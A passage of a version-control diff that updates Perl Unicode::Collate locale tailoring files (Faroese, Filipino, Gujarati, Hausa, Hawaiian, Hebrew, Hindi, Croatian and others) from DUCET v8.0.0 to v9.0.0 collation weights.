+004F 0308 ; [.1F98.0020.0008] # LATIN CAPITAL LETTER O WITH DIAERESIS
+022B      ; [.1F98.0020.0002][.0000.0032.0002] # LATIN SMALL LETTER O WITH DIAERESIS AND MACRON
+022A      ; [.1F98.0020.0008][.0000.0032.0002] # LATIN CAPITAL LETTER O WITH DIAERESIS AND MACRON
+00F8      ; [.1F98.0021.0002] # LATIN SMALL LETTER O WITH STROKE
+006F 0338 ; [.1F98.0021.0002] # LATIN SMALL LETTER O WITH STROKE
+00D8      ; [.1F98.0021.0008] # LATIN CAPITAL LETTER O WITH STROKE
+004F 0338 ; [.1F98.0021.0008] # LATIN CAPITAL LETTER O WITH STROKE
+01FF      ; [.1F98.0021.0002][.0000.0024.0002] # LATIN SMALL LETTER O WITH STROKE AND ACUTE
+01FE      ; [.1F98.0021.0008][.0000.0024.0002] # LATIN CAPITAL LETTER O WITH STROKE AND ACUTE
 ENTRY
 };

Modified: vendor/perl/dist/cpan/Unicode-Collate/Collate/Locale/fil.pl
===================================================================
--- vendor/perl/dist/cpan/Unicode-Collate/Collate/Locale/fil.pl	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/cpan/Unicode-Collate/Collate/Locale/fil.pl	2018-12-22 22:55:19 UTC (rev 12126)
@@ -1,12 +1,12 @@
 +{
-   locale_version => 1.19,
-   entry => <<'ENTRY', # for DUCET v8.0.0
-00F1      ; [.1D35.0020.0002] # LATIN SMALL LETTER N WITH TILDE
-006E 0303 ; [.1D35.0020.0002] # LATIN SMALL LETTER N WITH TILDE
-00D1      ; [.1D35.0020.0008] # LATIN CAPITAL LETTER N WITH TILDE
-004E 0303 ; [.1D35.0020.0008] # LATIN CAPITAL LETTER N WITH TILDE
-006E 0067 ; [.1D36.0020.0002] # <LATIN SMALL LETTER N, LATIN SMALL LETTER G>
-004E 0067 ; [.1D36.0020.0007] # <LATIN CAPITAL LETTER N, LATIN SMALL LETTER G>
-004E 0047 ; [.1D36.0020.0008] # <LATIN CAPITAL LETTER N, LATIN CAPITAL LETTER G>
+   locale_version => 1.25,
+   entry => <<'ENTRY', # for DUCET v9.0.0
+00F1      ; [.1DBA.0020.0002] # LATIN SMALL LETTER N WITH TILDE
+006E 0303 ; [.1DBA.0020.0002] # LATIN SMALL LETTER N WITH TILDE
+00D1      ; [.1DBA.0020.0008] # LATIN CAPITAL LETTER N WITH TILDE
+004E 0303 ; [.1DBA.0020.0008] # LATIN CAPITAL LETTER N WITH TILDE
+006E 0067 ; [.1DBB.0020.0002] # <LATIN SMALL LETTER N, LATIN SMALL LETTER G>
+004E 0067 ; [.1DBB.0020.0007] # <LATIN CAPITAL LETTER N, LATIN SMALL LETTER G>
+004E 0047 ; [.1DBB.0020.0008] # <LATIN CAPITAL LETTER N, LATIN CAPITAL LETTER G>
 ENTRY
 };

Modified: vendor/perl/dist/cpan/Unicode-Collate/Collate/Locale/fo.pl
===================================================================
--- vendor/perl/dist/cpan/Unicode-Collate/Collate/Locale/fo.pl	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/cpan/Unicode-Collate/Collate/Locale/fo.pl	2018-12-22 22:55:19 UTC (rev 12126)
@@ -1,77 +1,77 @@
 +{
-   locale_version => 1.19,
-   entry => <<'ENTRY', # for DUCET v8.0.0
-0111      ; [.1C0A.0021.0002] # LATIN SMALL LETTER D WITH STROKE
-0064 0335 ; [.1C0A.0021.0002] # LATIN SMALL LETTER D WITH STROKE
-0110      ; [.1C0A.0021.0008] # LATIN CAPITAL LETTER D WITH STROKE
-0044 0335 ; [.1C0A.0021.0008] # LATIN CAPITAL LETTER D WITH STROKE
-00F0      ; [.1C0A.0022.0002] # LATIN SMALL LETTER ETH
-1DD9      ; [.1C0A.0022.0002] # COMBINING LATIN SMALL LETTER ETH
-00D0      ; [.1C0A.0022.0008] # LATIN CAPITAL LETTER ETH
-00FE      ; [.1E10.0020.0003][.1C93.0020.0003] # LATIN SMALL LETTER THORN
-00DE      ; [.1E10.0020.0009][.1C93.0020.0009] # LATIN CAPITAL LETTER THORN
-00FC      ; [.1E86.0021.0002] # LATIN SMALL LETTER U WITH DIAERESIS
-0075 0308 ; [.1E86.0021.0002] # LATIN SMALL LETTER U WITH DIAERESIS
-00DC      ; [.1E86.0021.0008] # LATIN CAPITAL LETTER U WITH DIAERESIS
-0055 0308 ; [.1E86.0021.0008] # LATIN CAPITAL LETTER U WITH DIAERESIS
-01DC      ; [.1E86.0021.0002][.0000.0025.0002] # LATIN SMALL LETTER U WITH DIAERESIS AND GRAVE
-01DB      ; [.1E86.0021.0008][.0000.0025.0002] # LATIN CAPITAL LETTER U WITH DIAERESIS AND GRAVE
-01D8      ; [.1E86.0021.0002][.0000.0024.0002] # LATIN SMALL LETTER U WITH DIAERESIS AND ACUTE
-01D7      ; [.1E86.0021.0008][.0000.0024.0002] # LATIN CAPITAL LETTER U WITH DIAERESIS AND ACUTE
-01D6      ; [.1E86.0021.0002][.0000.0032.0002] # LATIN SMALL LETTER U WITH DIAERESIS AND MACRON
-01D5      ; [.1E86.0021.0008][.0000.0032.0002] # LATIN CAPITAL LETTER U WITH DIAERESIS AND MACRON
-01DA      ; [.1E86.0021.0002][.0000.0028.0002] # LATIN SMALL LETTER U WITH DIAERESIS AND CARON
-01D9      ; [.1E86.0021.0008][.0000.0028.0002] # LATIN CAPITAL LETTER U WITH DIAERESIS AND CARON
-0171      ; [.1E86.0022.0002] # LATIN SMALL LETTER U WITH DOUBLE ACUTE
-0075 030B ; [.1E86.0022.0002] # LATIN SMALL LETTER U WITH DOUBLE ACUTE
-0170      ; [.1E86.0022.0008] # LATIN CAPITAL LETTER U WITH DOUBLE ACUTE
-0055 030B ; [.1E86.0022.0008] # LATIN CAPITAL LETTER U WITH DOUBLE ACUTE
-00E6      ; [.1F11.0020.0002] # LATIN SMALL LETTER AE
-1DD4      ; [.1F11.0020.0002] # COMBINING LATIN SMALL LETTER AE
-00C6      ; [.1F11.0020.0008] # LATIN CAPITAL LETTER AE
-1D2D      ; [.1F11.0020.0014] # MODIFIER LETTER CAPITAL AE
-01FD      ; [.1F11.0020.0002][.0000.0024.0002] # LATIN SMALL LETTER AE WITH ACUTE
-01FC      ; [.1F11.0020.0008][.0000.0024.0002] # LATIN CAPITAL LETTER AE WITH ACUTE
-01E3      ; [.1F11.0020.0002][.0000.0032.0002] # LATIN SMALL LETTER AE WITH MACRON
-01E2      ; [.1F11.0020.0008][.0000.0032.0002] # LATIN CAPITAL LETTER AE WITH MACRON
-00E4      ; [.1F11.0021.0002] # LATIN SMALL LETTER A WITH DIAERESIS
-0061 0308 ; [.1F11.0021.0002] # LATIN SMALL LETTER A WITH DIAERESIS
-00C4      ; [.1F11.0021.0008] # LATIN CAPITAL LETTER A WITH DIAERESIS
-0041 0308 ; [.1F11.0021.0008] # LATIN CAPITAL LETTER A WITH DIAERESIS
-01DF      ; [.1F11.0021.0002][.0000.0032.0002] # LATIN SMALL LETTER A WITH DIAERESIS AND MACRON
-01DE      ; [.1F11.0021.0008][.0000.0032.0002] # LATIN CAPITAL LETTER A WITH DIAERESIS AND MACRON
-0119      ; [.1F11.0022.0002] # LATIN SMALL LETTER E WITH OGONEK
-0065 0328 ; [.1F11.0022.0002] # LATIN SMALL LETTER E WITH OGONEK
-0118      ; [.1F11.0022.0008] # LATIN CAPITAL LETTER E WITH OGONEK
-0045 0328 ; [.1F11.0022.0008] # LATIN CAPITAL LETTER E WITH OGONEK
-00F8      ; [.1F12.0020.0002] # LATIN SMALL LETTER O WITH STROKE
-006F 0338 ; [.1F12.0020.0002] # LATIN SMALL LETTER O WITH STROKE
-00D8      ; [.1F12.0020.0008] # LATIN CAPITAL LETTER O WITH STROKE
-004F 0338 ; [.1F12.0020.0008] # LATIN CAPITAL LETTER O WITH STROKE
-01FF      ; [.1F12.0020.0002][.0000.0024.0002] # LATIN SMALL LETTER O WITH STROKE AND ACUTE
-01FE      ; [.1F12.0020.0008][.0000.0024.0002] # LATIN CAPITAL LETTER O WITH STROKE AND ACUTE
-00F6      ; [.1F12.0021.0002] # LATIN SMALL LETTER O WITH DIAERESIS
-006F 0308 ; [.1F12.0021.0002] # LATIN SMALL LETTER O WITH DIAERESIS
-00D6      ; [.1F12.0021.0008] # LATIN CAPITAL LETTER O WITH DIAERESIS
-004F 0308 ; [.1F12.0021.0008] # LATIN CAPITAL LETTER O WITH DIAERESIS
-022B      ; [.1F12.0021.0002][.0000.0032.0002] # LATIN SMALL LETTER O WITH DIAERESIS AND MACRON
-022A      ; [.1F12.0021.0008][.0000.0032.0002] # LATIN CAPITAL LETTER O WITH DIAERESIS AND MACRON
-0151      ; [.1F12.0022.0002] # LATIN SMALL LETTER O WITH DOUBLE ACUTE
-006F 030B ; [.1F12.0022.0002] # LATIN SMALL LETTER O WITH DOUBLE ACUTE
-0150      ; [.1F12.0022.0008] # LATIN CAPITAL LETTER O WITH DOUBLE ACUTE
-004F 030B ; [.1F12.0022.0008] # LATIN CAPITAL LETTER O WITH DOUBLE ACUTE
-0153      ; [.1F12.0023.0002] # LATIN SMALL LIGATURE OE
-0152      ; [.1F12.0023.0008] # LATIN CAPITAL LIGATURE OE
-00E5      ; [.1F13.0020.0002] # LATIN SMALL LETTER A WITH RING ABOVE
-0061 030A ; [.1F13.0020.0002] # LATIN SMALL LETTER A WITH RING ABOVE
-00C5      ; [.1F13.0020.0008] # LATIN CAPITAL LETTER A WITH RING ABOVE
-0041 030A ; [.1F13.0020.0008] # LATIN CAPITAL LETTER A WITH RING ABOVE
-212B      ; [.1F13.0020.0008] # ANGSTROM SIGN
-01FB      ; [.1F13.0020.0002][.0000.0024.0002] # LATIN SMALL LETTER A WITH RING ABOVE AND ACUTE
-01FA      ; [.1F13.0020.0008][.0000.0024.0002] # LATIN CAPITAL LETTER A WITH RING ABOVE AND ACUTE
-0061 0061 ; [.1F13.0020.001C][.0000.0000.0002] # <LATIN SMALL LETTER A, LATIN SMALL LETTER A>
-0061 0041 ; [.1F13.0020.001C][.0000.0000.0008] # <LATIN SMALL LETTER A, LATIN CAPITAL LETTER A>
-0041 0061 ; [.1F13.0020.001D][.0000.0000.0002] # <LATIN CAPITAL LETTER A, LATIN SMALL LETTER A>
-0041 0041 ; [.1F13.0020.001D][.0000.0000.0008] # <LATIN CAPITAL LETTER A, LATIN CAPITAL LETTER A>
+   locale_version => 1.25,
+   entry => <<'ENTRY', # for DUCET v9.0.0
+0111      ; [.1C8F.0021.0002] # LATIN SMALL LETTER D WITH STROKE
+0064 0335 ; [.1C8F.0021.0002] # LATIN SMALL LETTER D WITH STROKE
+0110      ; [.1C8F.0021.0008] # LATIN CAPITAL LETTER D WITH STROKE
+0044 0335 ; [.1C8F.0021.0008] # LATIN CAPITAL LETTER D WITH STROKE
+00F0      ; [.1C8F.0022.0002] # LATIN SMALL LETTER ETH
+1DD9      ; [.1C8F.0022.0002] # COMBINING LATIN SMALL LETTER ETH
+00D0      ; [.1C8F.0022.0008] # LATIN CAPITAL LETTER ETH
+00FE      ; [.1E95.0020.0003][.1D18.0020.0003] # LATIN SMALL LETTER THORN
+00DE      ; [.1E95.0020.0009][.1D18.0020.0009] # LATIN CAPITAL LETTER THORN
+00FC      ; [.1F0B.0021.0002] # LATIN SMALL LETTER U WITH DIAERESIS
+0075 0308 ; [.1F0B.0021.0002] # LATIN SMALL LETTER U WITH DIAERESIS
+00DC      ; [.1F0B.0021.0008] # LATIN CAPITAL LETTER U WITH DIAERESIS
+0055 0308 ; [.1F0B.0021.0008] # LATIN CAPITAL LETTER U WITH DIAERESIS
+01DC      ; [.1F0B.0021.0002][.0000.0025.0002] # LATIN SMALL LETTER U WITH DIAERESIS AND GRAVE
+01DB      ; [.1F0B.0021.0008][.0000.0025.0002] # LATIN CAPITAL LETTER U WITH DIAERESIS AND GRAVE
+01D8      ; [.1F0B.0021.0002][.0000.0024.0002] # LATIN SMALL LETTER U WITH DIAERESIS AND ACUTE
+01D7      ; [.1F0B.0021.0008][.0000.0024.0002] # LATIN CAPITAL LETTER U WITH DIAERESIS AND ACUTE
+01D6      ; [.1F0B.0021.0002][.0000.0032.0002] # LATIN SMALL LETTER U WITH DIAERESIS AND MACRON
+01D5      ; [.1F0B.0021.0008][.0000.0032.0002] # LATIN CAPITAL LETTER U WITH DIAERESIS AND MACRON
+01DA      ; [.1F0B.0021.0002][.0000.0028.0002] # LATIN SMALL LETTER U WITH DIAERESIS AND CARON
+01D9      ; [.1F0B.0021.0008][.0000.0028.0002] # LATIN CAPITAL LETTER U WITH DIAERESIS AND CARON
+0171      ; [.1F0B.0022.0002] # LATIN SMALL LETTER U WITH DOUBLE ACUTE
+0075 030B ; [.1F0B.0022.0002] # LATIN SMALL LETTER U WITH DOUBLE ACUTE
+0170      ; [.1F0B.0022.0008] # LATIN CAPITAL LETTER U WITH DOUBLE ACUTE
+0055 030B ; [.1F0B.0022.0008] # LATIN CAPITAL LETTER U WITH DOUBLE ACUTE
+00E6      ; [.1F96.0020.0002] # LATIN SMALL LETTER AE
+1DD4      ; [.1F96.0020.0002] # COMBINING LATIN SMALL LETTER AE
+00C6      ; [.1F96.0020.0008] # LATIN CAPITAL LETTER AE
+1D2D      ; [.1F96.0020.0014] # MODIFIER LETTER CAPITAL AE
+01FD      ; [.1F96.0020.0002][.0000.0024.0002] # LATIN SMALL LETTER AE WITH ACUTE
+01FC      ; [.1F96.0020.0008][.0000.0024.0002] # LATIN CAPITAL LETTER AE WITH ACUTE
+01E3      ; [.1F96.0020.0002][.0000.0032.0002] # LATIN SMALL LETTER AE WITH MACRON
+01E2      ; [.1F96.0020.0008][.0000.0032.0002] # LATIN CAPITAL LETTER AE WITH MACRON
+00E4      ; [.1F96.0021.0002] # LATIN SMALL LETTER A WITH DIAERESIS
+0061 0308 ; [.1F96.0021.0002] # LATIN SMALL LETTER A WITH DIAERESIS
+00C4      ; [.1F96.0021.0008] # LATIN CAPITAL LETTER A WITH DIAERESIS
+0041 0308 ; [.1F96.0021.0008] # LATIN CAPITAL LETTER A WITH DIAERESIS
+01DF      ; [.1F96.0021.0002][.0000.0032.0002] # LATIN SMALL LETTER A WITH DIAERESIS AND MACRON
+01DE      ; [.1F96.0021.0008][.0000.0032.0002] # LATIN CAPITAL LETTER A WITH DIAERESIS AND MACRON
+0119      ; [.1F96.0022.0002] # LATIN SMALL LETTER E WITH OGONEK
+0065 0328 ; [.1F96.0022.0002] # LATIN SMALL LETTER E WITH OGONEK
+0118      ; [.1F96.0022.0008] # LATIN CAPITAL LETTER E WITH OGONEK
+0045 0328 ; [.1F96.0022.0008] # LATIN CAPITAL LETTER E WITH OGONEK
+00F8      ; [.1F97.0020.0002] # LATIN SMALL LETTER O WITH STROKE
+006F 0338 ; [.1F97.0020.0002] # LATIN SMALL LETTER O WITH STROKE
+00D8      ; [.1F97.0020.0008] # LATIN CAPITAL LETTER O WITH STROKE
+004F 0338 ; [.1F97.0020.0008] # LATIN CAPITAL LETTER O WITH STROKE
+01FF      ; [.1F97.0020.0002][.0000.0024.0002] # LATIN SMALL LETTER O WITH STROKE AND ACUTE
+01FE      ; [.1F97.0020.0008][.0000.0024.0002] # LATIN CAPITAL LETTER O WITH STROKE AND ACUTE
+00F6      ; [.1F97.0021.0002] # LATIN SMALL LETTER O WITH DIAERESIS
+006F 0308 ; [.1F97.0021.0002] # LATIN SMALL LETTER O WITH DIAERESIS
+00D6      ; [.1F97.0021.0008] # LATIN CAPITAL LETTER O WITH DIAERESIS
+004F 0308 ; [.1F97.0021.0008] # LATIN CAPITAL LETTER O WITH DIAERESIS
+022B      ; [.1F97.0021.0002][.0000.0032.0002] # LATIN SMALL LETTER O WITH DIAERESIS AND MACRON
+022A      ; [.1F97.0021.0008][.0000.0032.0002] # LATIN CAPITAL LETTER O WITH DIAERESIS AND MACRON
+0151      ; [.1F97.0022.0002] # LATIN SMALL LETTER O WITH DOUBLE ACUTE
+006F 030B ; [.1F97.0022.0002] # LATIN SMALL LETTER O WITH DOUBLE ACUTE
+0150      ; [.1F97.0022.0008] # LATIN CAPITAL LETTER O WITH DOUBLE ACUTE
+004F 030B ; [.1F97.0022.0008] # LATIN CAPITAL LETTER O WITH DOUBLE ACUTE
+0153      ; [.1F97.0023.0002] # LATIN SMALL LIGATURE OE
+0152      ; [.1F97.0023.0008] # LATIN CAPITAL LIGATURE OE
+00E5      ; [.1F98.0020.0002] # LATIN SMALL LETTER A WITH RING ABOVE
+0061 030A ; [.1F98.0020.0002] # LATIN SMALL LETTER A WITH RING ABOVE
+00C5      ; [.1F98.0020.0008] # LATIN CAPITAL LETTER A WITH RING ABOVE
+0041 030A ; [.1F98.0020.0008] # LATIN CAPITAL LETTER A WITH RING ABOVE
+212B      ; [.1F98.0020.0008] # ANGSTROM SIGN
+01FB      ; [.1F98.0020.0002][.0000.0024.0002] # LATIN SMALL LETTER A WITH RING ABOVE AND ACUTE
+01FA      ; [.1F98.0020.0008][.0000.0024.0002] # LATIN CAPITAL LETTER A WITH RING ABOVE AND ACUTE
+0061 0061 ; [.1F98.0020.001C][.0000.0000.0002] # <LATIN SMALL LETTER A, LATIN SMALL LETTER A>
+0061 0041 ; [.1F98.0020.001C][.0000.0000.0008] # <LATIN SMALL LETTER A, LATIN CAPITAL LETTER A>
+0041 0061 ; [.1F98.0020.001D][.0000.0000.0002] # <LATIN CAPITAL LETTER A, LATIN SMALL LETTER A>
+0041 0041 ; [.1F98.0020.001D][.0000.0000.0008] # <LATIN CAPITAL LETTER A, LATIN CAPITAL LETTER A>
 ENTRY
 };

Modified: vendor/perl/dist/cpan/Unicode-Collate/Collate/Locale/fr_ca.pl
===================================================================
--- vendor/perl/dist/cpan/Unicode-Collate/Collate/Locale/fr_ca.pl	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/cpan/Unicode-Collate/Collate/Locale/fr_ca.pl	2018-12-22 22:55:19 UTC (rev 12126)
@@ -1,4 +1,4 @@
 +{
-   locale_version => 1.19,
+   locale_version => 1.25,
    backwards => 2,
 };

Modified: vendor/perl/dist/cpan/Unicode-Collate/Collate/Locale/gu.pl
===================================================================
--- vendor/perl/dist/cpan/Unicode-Collate/Collate/Locale/gu.pl	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/cpan/Unicode-Collate/Collate/Locale/gu.pl	2018-12-22 22:55:19 UTC (rev 12126)
@@ -1,9 +1,9 @@
 +{
-   locale_version => 1.19,
-   entry => <<'ENTRY', # for DUCET v8.0.0
-0A82      ; [.26AC.0020.0002][.FFF1.0000.0000] # GUJARATI SIGN ANUSVARA
-0A81      ; [.26AC.0021.0002][.FFF1.0000.0000] # GUJARATI SIGN CANDRABINDU
-0A83      ; [.26AC.0020.0002][.FFF2.0000.0000] # GUJARATI SIGN VISARGA
-0AD0      ; [.26AC.0020.0002][.FFF0.0000.0000] # GUJARATI OM
+   locale_version => 1.25,
+   entry => <<'ENTRY', # for DUCET v9.0.0
+0A82      ; [.2739.0020.0002][.FFF1.0000.0000] # GUJARATI SIGN ANUSVARA
+0A81      ; [.2739.0021.0002][.FFF1.0000.0000] # GUJARATI SIGN CANDRABINDU
+0A83      ; [.2739.0020.0002][.FFF2.0000.0000] # GUJARATI SIGN VISARGA
+0AD0      ; [.2739.0020.0002][.FFF0.0000.0000] # GUJARATI OM
 ENTRY
 };

Modified: vendor/perl/dist/cpan/Unicode-Collate/Collate/Locale/ha.pl
===================================================================
--- vendor/perl/dist/cpan/Unicode-Collate/Collate/Locale/ha.pl	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/cpan/Unicode-Collate/Collate/Locale/ha.pl	2018-12-22 22:55:19 UTC (rev 12126)
@@ -1,16 +1,16 @@
 +{
-   locale_version => 1.19,
+   locale_version => 1.25,
 # b-hook, d-hook, k-hook, y-hook don't require tailoring
-   entry => <<'ENTRY', # for DUCET v8.0.0
-0073 0068 ; [.1DED.0020.0002] # <LATIN SMALL LETTER S, LATIN SMALL LETTER H>
-0053 0068 ; [.1DED.0020.0007] # <LATIN CAPITAL LETTER S, LATIN SMALL LETTER H>
-0053 0048 ; [.1DED.0020.0008] # <LATIN CAPITAL LETTER S, LATIN CAPITAL LETTER H>
-0074 0073 ; [.1E11.0020.0002] # <LATIN SMALL LETTER T, LATIN SMALL LETTER S>
-0054 0073 ; [.1E11.0020.0007] # <LATIN CAPITAL LETTER T, LATIN SMALL LETTER S>
-0054 0053 ; [.1E11.0020.0008] # <LATIN CAPITAL LETTER T, LATIN CAPITAL LETTER S>
-02BC 0079 ; [.1E92.0020.0003] # <MODIFIER LETTER APOSTROPHE, LATIN SMALL LETTER Y>
-02BC 0059 ; [.1E92.0020.0009] # <MODIFIER LETTER APOSTROPHE, LATIN CAPITAL LETTER Y>
-0027 0079 ; [.1E92.0020.0004] # <APOSTROPHE, LATIN SMALL LETTER Y>
-0027 0059 ; [.1E92.0020.000A] # <APOSTROPHE, LATIN CAPITAL LETTER Y>
+   entry => <<'ENTRY', # for DUCET v9.0.0
+0073 0068 ; [.1E72.0020.0002] # <LATIN SMALL LETTER S, LATIN SMALL LETTER H>
+0053 0068 ; [.1E72.0020.0007] # <LATIN CAPITAL LETTER S, LATIN SMALL LETTER H>
+0053 0048 ; [.1E72.0020.0008] # <LATIN CAPITAL LETTER S, LATIN CAPITAL LETTER H>
+0074 0073 ; [.1E96.0020.0002] # <LATIN SMALL LETTER T, LATIN SMALL LETTER S>
+0054 0073 ; [.1E96.0020.0007] # <LATIN CAPITAL LETTER T, LATIN SMALL LETTER S>
+0054 0053 ; [.1E96.0020.0008] # <LATIN CAPITAL LETTER T, LATIN CAPITAL LETTER S>
+02BC 0079 ; [.1F17.0020.0003] # <MODIFIER LETTER APOSTROPHE, LATIN SMALL LETTER Y>
+02BC 0059 ; [.1F17.0020.0009] # <MODIFIER LETTER APOSTROPHE, LATIN CAPITAL LETTER Y>
+0027 0079 ; [.1F17.0020.0004] # <APOSTROPHE, LATIN SMALL LETTER Y>
+0027 0059 ; [.1F17.0020.000A] # <APOSTROPHE, LATIN CAPITAL LETTER Y>
 ENTRY
 };

Modified: vendor/perl/dist/cpan/Unicode-Collate/Collate/Locale/haw.pl
===================================================================
--- vendor/perl/dist/cpan/Unicode-Collate/Collate/Locale/haw.pl	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/cpan/Unicode-Collate/Collate/Locale/haw.pl	2018-12-22 22:55:19 UTC (rev 12126)
@@ -1,22 +1,22 @@
 +{
-   locale_version => 1.19,
-   entry => <<'ENTRY', # for DUCET v8.0.0
-0065      ; [.1BC3.0020.0002][.FFF1.0000.0000] # LATIN SMALL LETTER E
-0045      ; [.1BC3.0020.0008][.FFF1.0000.0000] # LATIN CAPITAL LETTER E
-0069      ; [.1BC3.0020.0002][.FFF2.0000.0000] # LATIN SMALL LETTER I
-0049      ; [.1BC3.0020.0008][.FFF2.0000.0000] # LATIN CAPITAL LETTER I
-006F      ; [.1BC3.0020.0002][.FFF3.0000.0000] # LATIN SMALL LETTER O
-004F      ; [.1BC3.0020.0008][.FFF3.0000.0000] # LATIN CAPITAL LETTER O
-0075      ; [.1BC3.0020.0002][.FFF4.0000.0000] # LATIN SMALL LETTER U
-0055      ; [.1BC3.0020.0008][.FFF4.0000.0000] # LATIN CAPITAL LETTER U
-02BB      ; [.1E71.0020.0002] # MODIFIER LETTER TURNED COMMA
-0113      ; [.1BC3.0020.0002][.FFF1.0000.0000][.0000.0032.0002] # LATIN SMALL LETTER E WITH MACRON
-0112      ; [.1BC3.0020.0008][.FFF1.0000.0000][.0000.0032.0002] # LATIN CAPITAL LETTER E WITH MACRON
-012B      ; [.1BC3.0020.0002][.FFF2.0000.0000][.0000.0032.0002] # LATIN SMALL LETTER I WITH MACRON
-012A      ; [.1BC3.0020.0008][.FFF2.0000.0000][.0000.0032.0002] # LATIN CAPITAL LETTER I WITH MACRON
-014D      ; [.1BC3.0020.0002][.FFF3.0000.0000][.0000.0032.0002] # LATIN SMALL LETTER O WITH MACRON
-014C      ; [.1BC3.0020.0008][.FFF3.0000.0000][.0000.0032.0002] # LATIN CAPITAL LETTER O WITH MACRON
-016B      ; [.1BC3.0020.0002][.FFF4.0000.0000][.0000.0032.0002] # LATIN SMALL LETTER U WITH MACRON
-016A      ; [.1BC3.0020.0008][.FFF4.0000.0000][.0000.0032.0002] # LATIN CAPITAL LETTER U WITH MACRON
+   locale_version => 1.25,
+   entry => <<'ENTRY', # for DUCET v9.0.0
+0065      ; [.1C48.0020.0002][.FFF1.0000.0000] # LATIN SMALL LETTER E
+0045      ; [.1C48.0020.0008][.FFF1.0000.0000] # LATIN CAPITAL LETTER E
+0069      ; [.1C48.0020.0002][.FFF2.0000.0000] # LATIN SMALL LETTER I
+0049      ; [.1C48.0020.0008][.FFF2.0000.0000] # LATIN CAPITAL LETTER I
+006F      ; [.1C48.0020.0002][.FFF3.0000.0000] # LATIN SMALL LETTER O
+004F      ; [.1C48.0020.0008][.FFF3.0000.0000] # LATIN CAPITAL LETTER O
+0075      ; [.1C48.0020.0002][.FFF4.0000.0000] # LATIN SMALL LETTER U
+0055      ; [.1C48.0020.0008][.FFF4.0000.0000] # LATIN CAPITAL LETTER U
+02BB      ; [.1EF6.0020.0002] # MODIFIER LETTER TURNED COMMA
+0113      ; [.1C48.0020.0002][.FFF1.0000.0000][.0000.0032.0002] # LATIN SMALL LETTER E WITH MACRON
+0112      ; [.1C48.0020.0008][.FFF1.0000.0000][.0000.0032.0002] # LATIN CAPITAL LETTER E WITH MACRON
+012B      ; [.1C48.0020.0002][.FFF2.0000.0000][.0000.0032.0002] # LATIN SMALL LETTER I WITH MACRON
+012A      ; [.1C48.0020.0008][.FFF2.0000.0000][.0000.0032.0002] # LATIN CAPITAL LETTER I WITH MACRON
+014D      ; [.1C48.0020.0002][.FFF3.0000.0000][.0000.0032.0002] # LATIN SMALL LETTER O WITH MACRON
+014C      ; [.1C48.0020.0008][.FFF3.0000.0000][.0000.0032.0002] # LATIN CAPITAL LETTER O WITH MACRON
+016B      ; [.1C48.0020.0002][.FFF4.0000.0000][.0000.0032.0002] # LATIN SMALL LETTER U WITH MACRON
+016A      ; [.1C48.0020.0008][.FFF4.0000.0000][.0000.0032.0002] # LATIN CAPITAL LETTER U WITH MACRON
 ENTRY
 };

Modified: vendor/perl/dist/cpan/Unicode-Collate/Collate/Locale/he.pl
===================================================================
--- vendor/perl/dist/cpan/Unicode-Collate/Collate/Locale/he.pl	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/cpan/Unicode-Collate/Collate/Locale/he.pl	2018-12-22 22:55:19 UTC (rev 12126)
@@ -1,7 +1,7 @@
 +{
-   locale_version => 1.19,
-   entry => <<'ENTRY', # for DUCET v8.0.0
-05F3      ; [*02FE.001F.0002] # HEBREW PUNCTUATION GERESH
-05F4      ; [*0305.001F.0002] # HEBREW PUNCTUATION GERSHAYIM
+   locale_version => 1.25,
+   entry => <<'ENTRY', # for DUCET v9.0.0
+05F3      ; [*0305.001F.0002] # HEBREW PUNCTUATION GERESH
+05F4      ; [*030C.001F.0002] # HEBREW PUNCTUATION GERSHAYIM
 ENTRY
 };

Modified: vendor/perl/dist/cpan/Unicode-Collate/Collate/Locale/hi.pl
===================================================================
--- vendor/perl/dist/cpan/Unicode-Collate/Collate/Locale/hi.pl	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/cpan/Unicode-Collate/Collate/Locale/hi.pl	2018-12-22 22:55:19 UTC (rev 12126)
@@ -1,9 +1,9 @@
 +{
-   locale_version => 1.19,
-   entry => <<'ENTRY', # for DUCET v8.0.0
-0902      ; [.25CE.0020.0002][.FFF1.0000.0000] # DEVANAGARI SIGN ANUSVARA
-0901      ; [.25CE.0021.0002][.FFF1.0000.0000] # DEVANAGARI SIGN CANDRABINDU
-0903      ; [.25CE.0020.0002][.FFF2.0000.0000] # DEVANAGARI SIGN VISARGA
-0950      ; [.25CE.0020.0002][.FFF0.0000.0000] # DEVANAGARI OM
+   locale_version => 1.25,
+   entry => <<'ENTRY', # for DUCET v9.0.0
+0902      ; [.265B.0020.0002][.FFF1.0000.0000] # DEVANAGARI SIGN ANUSVARA
+0901      ; [.265B.0021.0002][.FFF1.0000.0000] # DEVANAGARI SIGN CANDRABINDU
+0903      ; [.265B.0020.0002][.FFF2.0000.0000] # DEVANAGARI SIGN VISARGA
+0950      ; [.265B.0020.0002][.FFF0.0000.0000] # DEVANAGARI OM
 ENTRY
 };

Modified: vendor/perl/dist/cpan/Unicode-Collate/Collate/Locale/hr.pl
===================================================================
--- vendor/perl/dist/cpan/Unicode-Collate/Collate/Locale/hr.pl	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/cpan/Unicode-Collate/Collate/Locale/hr.pl	2018-12-22 22:55:19 UTC (rev 12126)
@@ -1,48 +1,48 @@
 +{
-   locale_version => 1.19,
-   entry => <<'ENTRY', # for DUCET v8.0.0
-010D      ; [.1BF6.0020.0002] # LATIN SMALL LETTER C WITH CARON
-0063 030C ; [.1BF6.0020.0002] # LATIN SMALL LETTER C WITH CARON
-010C      ; [.1BF6.0020.0008] # LATIN CAPITAL LETTER C WITH CARON
-0043 030C ; [.1BF6.0020.0008] # LATIN CAPITAL LETTER C WITH CARON
-0107      ; [.1BF7.0020.0002] # LATIN SMALL LETTER C WITH ACUTE
-0063 0301 ; [.1BF7.0020.0002] # LATIN SMALL LETTER C WITH ACUTE
-0063 0341 ; [.1BF7.0020.0002] # LATIN SMALL LETTER C WITH ACUTE
-0106      ; [.1BF7.0020.0008] # LATIN CAPITAL LETTER C WITH ACUTE
